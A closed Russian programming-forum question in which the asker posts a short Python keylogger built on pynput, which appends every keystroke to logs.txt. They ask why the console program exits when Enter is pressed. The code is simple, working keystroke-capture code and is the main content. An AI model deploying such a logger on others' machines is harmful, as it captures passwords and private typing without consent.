Этот вопрос закрыт для ответов, так как повторяет вопрос Почему код перестает работать когда пишу с Numpad?
@aeollous

Почему при нажатии Enter код в консоли завершает работу?

from pynput import keyboard

class KeyLogger():
    def __init__(self):
        self.filename = "logs.txt"

    def get_char(self, key):
        try:
            return str(key)
        except AttributeError:
            return str(key)


    def press(self, key):
        print(key)
        with open(self.filename, 'a') as logs:
            logs.write(self.get_char(key) + " ")
    def listener(self):
        listen = keyboard.Listener(on_press=self.press)
        listen.start()

if __name__ == '__main__':
    KeyLogger().listener()  
    input()
  • Вопрос задан
  • 42 просмотра
Ваш ответ на вопрос

Вопрос закрыт для ответов и комментариев

Потому что уже есть похожий вопрос.
Похожие вопросы
SpectrumData Екатеринбург
от 150 000 до 200 000 ₽
Гринатом Москва
от 150 000 ₽
DIGITAL SECTOR Краснодар
от 150 000 до 250 000 ₽
26 июн. 2024, в 02:23
5000 руб./за проект
26 июн. 2024, в 00:28
5000 руб./за проект
25 июн. 2024, в 23:31
1500 руб./за проект